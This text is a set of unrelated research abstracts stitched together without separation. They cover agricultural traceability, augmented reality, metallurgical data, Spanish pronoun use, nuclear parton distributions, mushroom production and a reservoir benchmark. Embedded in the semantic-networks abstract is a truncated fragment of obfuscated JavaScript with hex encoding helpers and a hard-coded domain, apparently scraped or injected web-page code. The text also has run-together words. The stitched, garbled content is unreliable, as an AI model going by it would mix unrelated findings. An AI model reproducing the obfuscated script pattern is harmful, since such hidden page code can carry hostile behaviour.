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Resumen Introducción. La trazabilidad se considera en los sistemas empresariales como una herramienta de seguimiento y control enfocada en la medición y recolección de datos para la asignación eficiente de recursos. El sector agrícola no es ajeno a esta práctica porque al igual que otros sistemas industriales, integra necesidades de control a nivel de cultivo, abastecimiento de insumos, transformación, transporte y comercialización de productos. Objetivo. Identificar objetos y alcances de seguimiento, unidades de análisis y adopción de tendencias de trazabilidad en la cadena de suministro agrícola, para referenciar el desarrollo de estudios y publicaciones recientes que integran esta función de control en este sector. Desarrollo. La metodología aplicada se desarrolló a través de la búsqueda, selección y análisis de artículos en repositorios científicos como Science Direct y AGRIS, para identificar tendencias de trazabilidad agrícola en los años 2017 al 2022. Se reconocieron tendencias de aplicación e integración de los sistemas de trazabilidad en el sector agrícola entorno a distintos enfoques, entre ellos, la digitalización y seguridad de la información, la medición de la productividad agrícola y el impacto ambiental dentro del concepto de sostenibilidad. Se presentan en las conclusiones las líneas de investigación, así como las brechas de conocimiento para futuros trabajos. Conclusiones. Los resultados de la revisión en los últimos seis años enmarcan tendencias de trazabilidad en el seguimiento digital de procesos de cultivo, la medición de la productividad y el impacto ambiental. El grado de intervención directa en el productor representa la mayor proporción en la categoría del alcance logístico de trazabilidad. Por lo anterior, se recomienda a futuro el desarrollo de sistemas de trazabilidad que realicen seguimiento de indicadores de productividad, impacto ambiental y social de manera convergente, así como la participación integrada de actores del sector agrícola, entre ellos productores, asesores técnicos y entidades gubernamentales. Abstract Introduction. Traceability is regarded in business systems as a monitoring and control tool that is centered on measuring and gathering data for efficient resource allocation. The agricultural sector is no stranger to this practice because, like other industrial systems, it integrates control needs at the level of cultivation, supply of inputs, transformation, transportation, and marketing of products. Objective. To identify objects and scopes of monitoring, analysis units, and adoption of traceability trends in the agricultural supply chain, in order to reference the development of recent studies and publications that integrate this control function in this sector. Development. The applied methodology was developed through the search, selection, and analysis of articles in scientific repositories such as Science Direct and AGRIS, to identify trends in agricultural traceability in the years 2017 to 2022. Application and integration trends of traceability systems were recognized in the agricultural sector around different approaches, including digitization and information security, measurement of agricultural productivity and environmental impact mainly within the concept of sustainability. Lines of research are presented in its conclusions, as well as the knowledge gaps for future work. Conclusions. The results of the review in the last six years frame traceability trends mainly in the digital monitoring of cultivation processes, the measurement of productivity, and the environmental impact. The degree of direct intervention in the producer represents the highest proportion in the category of the logistic scope of traceability. Therefore, it is recommended in the future the development of traceability systems that monitor productivity, environmental, and social impact indicators in a convergent manner, as well as the integrated participations of actors in the agricultural sector, including producers, technical advisors, and government entities.

The paper focuses on the use of augmented reality (AR) by industrial engineers, especially for determining the necessary competencies required for its use. Industrial engineers are not inherently programmers. Nevertheless, augmented reality is a modern trend in their field, especially in relation to the concept of Industry 4.0 and industry in general, where it has a higher potential than virtual reality. In the first part of this paper, we placed augmented reality and the competencies required for its use in the context of industrial engineering. Subsequently, we described our own methods of implementing an augmented reality industrial metadata visualization system, namely Help Lightning Fieldbit and Unity 3D, using the Vuforia extension. We chose the metadata used in the methods with regard to their environmental potential. In this part of the paper, we also described the chosen and applied testing methodology using a questionnaire survey. Subsequently, we described the results from the questionnaire surveys of both these approaches of implementing augmented reality methods. Finally, we evaluated the results and compared them with each other and with results from other authors. As the results show, the most important competencies for creating the described AR environments are analytical competencies. We draw conclusions from the collected data regarding the necessary competencies for the creation of AR scenes using these methods and their deployment in industry, including an outline for further research.

Data about the technological production characteristics are sent to the archive, where they will be stored for many years. However, the stored data contains many undisclosed links between technological factors and technical and economic production indicators. The article presents a hypothesis about the possibility of processing data generated during production processes of industrial enterprises by analogy developing mining and physical dumps. The article provides an example of studying the sufficiency of the volume of a data metallurgical dump for constructing mathematical models using the experimental planning method. Samples from real production data dumps can compensate for the difficulties of implementing a modern active experiment in training future specialists in secondary vocational and higher education institutions. It is established that the data accumulated over the year in the production archive contain the necessary combinations of realizations of random variables for the two-factor model. The interval method of varying the levels of variables enables to construct an experimental matrix for a three-factor model as well. Keywords: data dump, production data, metallurgical data, data analysis in metallurgy, matrix, mathematical planning, production management, model, model parameters identification, interval method.

The goal of this study is to shed light on how empirical data on the discourse constraints of null and overt third person subject pronouns in L1 and bilingual Spanish meet linguistic theory. A (semi)spontaneous production task was administered to 34 Moroccan Arabic (MA)/Spanish early sequential bilinguals and 30 L1 Spanish controls. All 3rd person subject positions were coded: (1) morphosyntactic form (null pronoun vs. overt pronoun); (2) discourse function ([-Topic Shift] vs. [+Topic Shift]); (3) sentence relation (intrasentential vs. intersentential); (4) clause order within intrasentential contexts (main-subordinate vs. subordinate-main); and (5) access to the antecedent (clear vs. ambiguous antecedent). The results reveal general patterns of use in both L1 and bilingual Spanish: null pronouns express topic maintenance both in inter- and intrasentential contexts (both clause orders) and overt pronouns, especially in intersentential contexts, are generally used for topic change. However, additional analyses provide evidence that null pronouns in L1, but not in bilingual Spanish, are often used in change of reference contexts where the antecedent is not ambiguous. This reveals patterns that have gone unreported by most previous descriptive and theoretical studies. Finally, a higher use of ambiguous null pronouns is attested among bilingual speakers, which suggests a lower control of the mechanisms by which reference is established in discourse and supports, to some extent, the predictions derived from the Interface Hypothesis. This research was funded by the Spanish Ministry of Education through the FPU program (Estela García-Alcaraz) and two research projects VARIAD FFI2012-35058 and CONTACT FFI2016-75082-P (Principal Investigator: Aurora Bel).

We present results of our recent EPPS16 global analysis of NLO nuclear parton distribution functions (nPDFs). For the first time, dijet and heavy gauge boson production data from LHC proton-lead collisions have been included in a global fit. Especially, the CMS dijets play an important role in constraining the nuclear effects in gluon distributions. With the inclusion of also neutrino-nucleus deeply-inelastic scattering and pion-nucleus Drell-Yan data and a proper treatment of isospin-corrected data, we were able to free the flavor dependence of the valence and sea quark nuclear modifications for the first time. This gives us less biased, yet larger, flavor by flavor uncertainty estimates. The EPPS16 analysis indicates no tension between the data sets used, which supports the validity of collinear factorization and universal nPDFs for nuclear hard-collision processes in the kinematical range studied., Comment: 6 pages, 5 figures. Prepared for the proceedings of the European Physical Society Conference on High Energy Physics (EPS-HEP 2017)

This article presents the results of research in the development of ways and means to integrate the production data on the stages of technical preparation of production and production of products to order. The main aim of research is to develop a mathematical model of integration of production data and processes for their preparation. It is also one of the objectives in this paper is to present the mechanism of integration of technical preparation of production processes based on models of semantic networks of production developed by the authors. The article presents the results of mathematical simulation of processes of integration of production data using semantic networks constructed on the basis of logical-semantic principles. The authors have proposed a modern approach towards ensuring that the establishment of a unified information environment of the enterprise, which operate integrated automation systems from different manufacturers. This approach is based on the use of models of semantic data networks, which provide the necessary information about the products, resources, and processes for the manufacture of a variety of automation systems. Research results can be used for the developers of modern integrated automation systems as the basis for the creation of an integrated information environment of industrial enterprise. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

This study introduces a new approach to determine and assess total mushroom production as well as to partitioning off this gross production into: non-harvested unripe production; non-harvested ripe production; harvested production; production eaten by fauna; and damaged production. Nine 300 m-long transects were established in the studied area. The sampling method was carried out in 2004, 2005 and 2006, but 2006 was the most productive year. In this year, a production of 5.37 kg/ha was estimated for Boletus edulis in 2006 of which 24% of Boletus edulis gross production was harvested, 26% was damaged and 15% was recorded as ripe production. The distribution of the gross production by classes permits knowing essential aspects regarding edible mushrooms management including which pressure is undergoing the fungal resource (due to harvesting or grazing), quantity and quality of the production or whether the species regeneration is guaranteed at any momenThis information allows us to ascertain the fungal resources conservation state and undertake a management and regulatory process for edible mushrooms in the sampled areas. El método de muestreo mediante marcaje y seguimiento de carpóforos permite separar la producción bruta estimada en los diferentes tipos de producción que la componen: producción recolectable inmadura, producción recolectable madura, producción recolectada, producción consumida por fauna, producción malograda. Para llevar a cabo el estudio se establecieron 9 transectos de 300 metros de longitud. Este procedimiento de muestreo se empleó durante los otoños de 2004, 2005 y 2006, aunque 2006 fue el más productivo. En este año se estimó una producción bruta de Boletus edulis de 5,37 kg/ha de la que, el 24% fue recolectada, el 26% resultó malograda y el 15% se registró como producción madura. La distribución de la producción bruta permite conocer, entre otros, la presión, recolectora o ganadera, a la que está sometido el recurso, la cantidad y calidad de la producción y las garantías de regeneración existentes en cada momento. En general, esta información, nos permite determinar el estado del recurso micológico y emprender, desde la base y de forma fundamentada, un proceso de ordenación y regulación del recurso en la zona muestreada.

In preparation for the SPE Applied Technology Workshop (ATW) held in Brugge in June 2008, a unique benchmark project was organized to test the combined use of waterflooding-optimization and history-matching methods in a closed-loop workflow. The benchmark was organized in the form of an interactive competition during the months preceding the ATW. The goal set for the exercise was to create a set of history-matched reservoir models and then to find an optimal waterflooding strategy for an oil field containing 20 producers and 10 injectors that can each be controlled by three inflow-control valves (ICVs). A synthetic data set was made available to the participants by TNO, consisting of well-log data, the structure of the reservoir, 10 years of production data, inverted time-lapse seismic data, and other information necessary for the exercise. The parameters to be estimated during the history match were permeability, porosity, and net-to gross-(NTG) thickness ratio. The optimized production strategy was tested on a synthetic truth model developed by TNO, which was also used to generate the production data and inverted time-lapse seismic. Because of time and practical constraints, a full closed-loop exercise was not possible; however, the participants could obtain the response to their production strategy after 10 years, update their models, and resubmit a revised production strategy for the final 10 years of production. In total, nine groups participated in the exercise. The spread of the net present value (NPV) obtained by the different participants is on the order of 10%. The highest result that was obtained is only 3% below the optimized case determined for the known truth field. Although not an objective of this exercise, it was shown that the increase in NPV as a result of having three control intervals per well instead of one was considerable (approximately 20%). The results also showed that the NPV achieved with the flooding strategy that was updated after additional production data became available was consistently higher than before the data became available.